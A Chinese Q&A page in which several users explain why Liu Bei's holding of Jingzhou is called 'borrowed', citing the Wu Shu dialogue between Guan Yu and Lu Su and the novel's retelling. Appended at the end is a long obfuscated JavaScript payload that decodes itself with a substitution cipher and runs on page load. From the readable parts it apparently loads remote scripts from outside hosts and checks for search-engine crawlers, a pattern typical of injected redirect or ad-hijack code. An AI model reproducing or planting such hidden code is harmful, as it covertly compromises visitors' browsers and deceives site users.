为什么刘备的荆州是借的?

2025年04月03日 11:29
有5个网友回答
网友(1):

借荆州的背景。赤壁破曹周瑜功高震主,刘备因受庇护而成了他的附属。刘备打荆南实际上是清扫侧翼的工作,老曹下赤壁的时候,自己在江夏的势力也是这样撵过来的江来的。所以虽然老早就平定了荆南四郡,刘关张却一直待在江陵前线,而黄盖居然做了四郡之一的武陵太守。吴书关鲁两人扯皮的对话也可以看出这一点:

QUOTE:
吴书曰:肃欲与羽会语,诸将疑恐有变,议不可往。肃曰:“今日之事,宜相开譬。刘备负国,是非未决,羽亦何敢重欲干命!”乃趋就羽。羽曰:“乌林之役,左将军身在行间,寝不脱介,戮力破魏,岂得徒劳,无一块壤,而足下来欲收地邪?”肃曰:“不然。始与豫州观于长阪,豫州之众不当一校,计穷虑极,志势摧弱,图欲远窜,望不及此。主上矜愍豫州之身,无有处所,不爱土地士人之力,使有所庇荫以济其患,而豫州私独饰情,愆德隳好。今已藉手于西州矣,又欲翦并荆州之土,斯盖凡夫所不忍行,而况整领人物之主乎!肃闻贪而弃义,必为祸阶。吾子属当重任,曾不能明道处分,以义辅时,而负恃弱众以图力争,师曲为老,将何获济?”羽无以答。

关羽和鲁肃都提到一点,江陵打下来之后借荆州之前,刘备几无立锥之地。唯有周瑜划出来的江南“油口”。陈寿的鲁肃传里面有这样的记载:“国家区区本以土地借卿家者,卿家军败远来,无以为资故也。”

2、划地油口。割地安置客军刘备这么大的事情,周瑜居然自己作了主,而孙权竟然没有过问,直接划给大耳朵就了事了。从周瑜的遗嘱来看,刘备当时应只有公安一角地,江夏荆南都不在他手上。要不然哪来“人多地少”?刘备能有多少部众要安置?荆南那大的地盘,刘备用得着“立营”于油口吗?“琦病死,群下推先主为荆州牧,治公安”刘备这个“当选荆州牧”管理的范围还真是有限。如果一切都成立那么只能说明一个事实:刘备只有那么一点地盘,也只有这样才存在“养虎”之患,才存在“笔落”之惊。连我们在千年后读史都会产生“东吴能不能取西蜀”的争论,老曹听到“借江陵”犯得着连笔都捏不住吗?老虎已经放出来了,笔早该掉了。(至于日后刘备领有部分江夏,那也是借来的赤壁成果。)

3、孙权想啥呢?赤壁之后孙权权力欲急速膨胀。江陵还没打下来,自己就急着抽调部队打合淝,还让张昭打九江当途——当然,不排除老张主动请缨挽回威信。兵力严重分散,三个地方一处败,一处撤,一处惨胜的结果也是自然的。老孙至此终于想明白了一件事:全面掌权的时机尚不成熟,咱还是玩阴谋吧。只可惜他没想清楚另一件事:大耳朵是刘季的“后嗣”,不是韩信的子孙。老孙对待周瑜尚且如此,他刘备还能有好果子吃? 老刘看人入骨,老孙“长上短下,难为下”岂能漏过。

蜀国不置史,后来赖着荆州不还又不光彩;而“借荆州”这件事直接牵涉到吴国第一大阴谋,老孙遮掩这件事比老曹遮掩赤壁卖力多了。所以到处都没记载是正常的。但是,借荆州这件事的当事人都很清楚其中的来龙去脉。所以东吴总是理直气壮的要地盘,不全部拿回来决不罢休。所以当关羽坐下人耍流氓,会被关鲁两人呵斥——虽然动机不同;以陈寿之简而载江表传所未引,足见此事之明。

网友(2):

单看三国演义,借荆州这事请细看40、41集
三国演义里诸葛亮是个人精,话说40集曹操赤壁大败,跑啦,那时候刘备穷嗖嗖的,没地方呆,呆在江夏那个兔子不敢拉屎的地方(那地方曹操说来就来。。。)只有关、张、赵,小兵没几个,要凭他们自己的力量取南郡、荆州、襄阳,那是不可能的,攻城方须有守城方3倍人马才可一搏,所以周瑜打南郡,他们在战场边上看着,看得周瑜很郁闷,他说老子在这数万人马每天吃饭打仗,连大小便都要专门派兵挖大坑,你几个人光在旁边喝茶算干吗的,人诸葛说他们也要打南郡,周瑜哭笑不得,你就这3人也能打仗?诸葛说那你别管,你用大军,我用大将,看谁能取得,结果周瑜轻敌,被射了。。。赶等再回来,南郡叫赵云领了1个班的兵给占了,他郁闷呐!接着荆州、襄阳都被人给占了,周瑜大吼一声,我倒~倒了,但虽然刘备他们占了荆州4郡,可还是没兵,要是周瑜不管3*7=21打将过来,那还得跑,本来鲁肃一位诸葛和他一样是个实在人,想不战而屈人之兵=。=结果人刘备把原荆州之主,刘表的儿子刘琦给整出来了,说俺们这是替俺侄子打抱不平,这地方本来就是俺侄子的,鲁肃无言,但他看出来了,刘琦快挂了,他打好算盘,可临走把事办臭了,他说刘琦在,你们占荆州我们么话,刘琦没,荆州要“还”给俺东吴,其实说实在话,要是没有诸葛这根葱,荆州4郡的曹军也早晚滚蛋,合着我们把那口猪打个半死,你们上来切里脊拿肘子,行,你们家困难,可等这位够低保标准的朋友没了,剩下的骨头架子你得还给我们,诸葛答应了,这就得说是鲁肃太实在,人家说啥他信啥,结果种下恶果,让人家有喘气机会,等他们把荆州的壮劳力和夏麦收走,人家兵强马壮,周瑜还不服,结果把命搭上了,而人家刘备家还能去打刘璋,这时候鲁肃又要,那以后的故事就看下集了

网友(3):

无论正史野史,东吴认为荆州是他们的,所以是借。蜀国则不这么认为。

网友(4):

是鲁肃主张借给刘备的,跟诸葛亮无关。

网友(5):

因为他说天下是他说的算呗!
现在他还敢说,会被口水淹死.

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();